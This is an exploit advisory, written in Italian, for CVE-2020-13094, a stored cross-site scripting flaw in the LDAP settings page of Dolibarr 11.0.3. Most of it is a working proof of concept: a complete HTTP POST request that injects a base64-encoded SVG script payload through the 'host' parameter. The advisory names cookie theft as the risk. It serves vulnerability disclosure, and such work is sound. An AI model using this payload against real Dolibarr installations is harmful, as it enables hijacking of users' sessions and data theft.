CVE-2020-13094

Title: Dolibarr 11.0.3 - Cross-Site Scripting Persistente
Author: Mehmet Kelepce / Gais Cyber Security
Date : 2020-04-14
Vendor: https://www.dolibarr.org/
Exploit-DB Author ID: 8763
Remotely Exploitable: Sì
Dynamic Coding Language: PHP
CVSSv3 Base Score: 7.4 (AV:N, AC:L, PR:L, UI:N, S:C, C:L, I:L, A:L)
Bug: XSS - Cross Site Scripting
CVE:
questa vulnerabilità è stata trovata esaminando il codice sorgente.

PoC : Impostazioni di sincronizzazione LDAP di Dolibarr 11.0.3 - Richiesta HTTP POST

POST /dolibarr/admin/ldap.php?action=setvalue HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/admin/ldap.php?action=test
Content-Type: application/x-www-form-urlencoded
Content-Length: 723
Connection: close
Cookie: DOLSESSID_08b25d38fe3d8c5d83c5477f93783b26=abml2gjafuuqcos5lm1053tqu6; DOLINSTALLNOPING_b832abc1aadf61021c84b3def6cdf1e6=0
Upgrade-Insecure-Requests: 1

token=%242y%2410%245CjT4.D4w8Qe.uaL.pHuSeDOW9PB2gnNQ7MhYrYUt7W8hq2R3oXBe&activesynchro=0&activecontact=0&type=activedirectory&LDAP_SERVER_PROTOCOLVERSION=3&host=%22%3E%3CEMBED+SRC%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI%2BYWxlcnQoJ0hlbGxvLCBEb2xpYmFyciEnKTs8L3NjcmlwdD48L3N2Zz4%3D%22+type%3D%22image%2Fsvg%2Bxml%22+AllowScriptAccess%3D%22always%22%3E%3C%2FEMBED%3E&slave=&port=389&dn=&usetls=0&admin=&pass=
Parametri vulnerabili: host,slave,port
Payload (base64): PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoJ0hlbGxvLCBEb2xpYmFyciEnKTs8L3NjcmlwdD48L3N2Zz4=
Payload (decodifica) :
File del parametro: /dolibarr/admin/ldap.php

Rischio : vengono ottenute le informazioni sui cookie dell'utente target.